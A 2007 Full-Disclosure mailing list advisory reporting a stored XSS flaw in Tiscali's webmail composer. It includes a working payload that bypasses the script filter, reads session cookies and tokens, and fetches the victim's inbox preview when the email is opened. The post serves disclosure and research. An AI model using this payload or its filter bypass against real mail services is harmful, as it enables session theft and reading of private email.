Tiscali webmail exploited

["Rosario Valotta" <rosario.valotta () gmail com>]

Tiscali.it (big italian ISP) webmail is affected by a severe vulnerability;
in the email composer a user is allowed to insert a hyperlink specifying
the link URL. This feature can be used to inject malicious HTML code in the
form, allowing the execution of arbitrary code.
On the submitted URL some security checks are performed ("<script",
"script>","<script>","javascript" and similar tokens are intercepted, but
"<script/xss>" isn't...).
So it is possible to find a XSS vector that breaks the controls; here is an
example:

'';!--<XSS></A><script/xss>
var c=document.cookie; alert(c);
s=c.substring(c.indexOf('ssoUser')+8,c.indexOf('ssoDomain')-2);alert(s);
t=c.substring(c.indexOf('ssoToken=')+9,c.indexOf('ssoToken=')+21);alert(t);
mailurl=unescape('/cp/ps/Mail/EmailList?search=%26sh=%26d=
tiscali.it%26fi=1%26sd=Desc%26an='+s+'%26l=it%26fp=INBOX%26sc=%26u='+s+'%26t='+t+'%26ss='
);
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
xmlhttp.open('GET',mailurl,true);
xmlhttp.onreadystatechange = checkData;
xmlhttp.send(null);
function checkData(){alert(xmlhttp.readyState);if (xmlhttp.readyState == 4)
{ alert(xmlhttp.responseText); }}
</script/xss>

When the email with the malicious link is opened by the victim (no
interaction required), the following events occur:
- the cookie, username and sessionId are alerted
- using the cookie data, an XMLHTTPRequest is made to the EmailList page
that contains preview of the first N e-mails in the victim account (in the
PoC I used INBOX, but all folders can be used)
- the html content of the retrieved page is alerted (the page contains among
<div-0>..<div-n> tags,  the mail preview information fields ("from:",
"subject", "date", etc.).

Going further it is as well possible to:
- access the detailed content of each email
- access the contacts of the victim
- load arbitrary pages in the mailList iframe (possible phishing), using
location.href attribute

All the informations retrieved could be easily sent to a remote site, so
allowing the attacker to spy the victim's mail activities.
Vuln discovered: 14/04/07
Vuln reported to portal owner 15/04/07 - No aswer yet

Greetings,
Rosario Valotta

[rosario dot valotta at gmail dot com]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/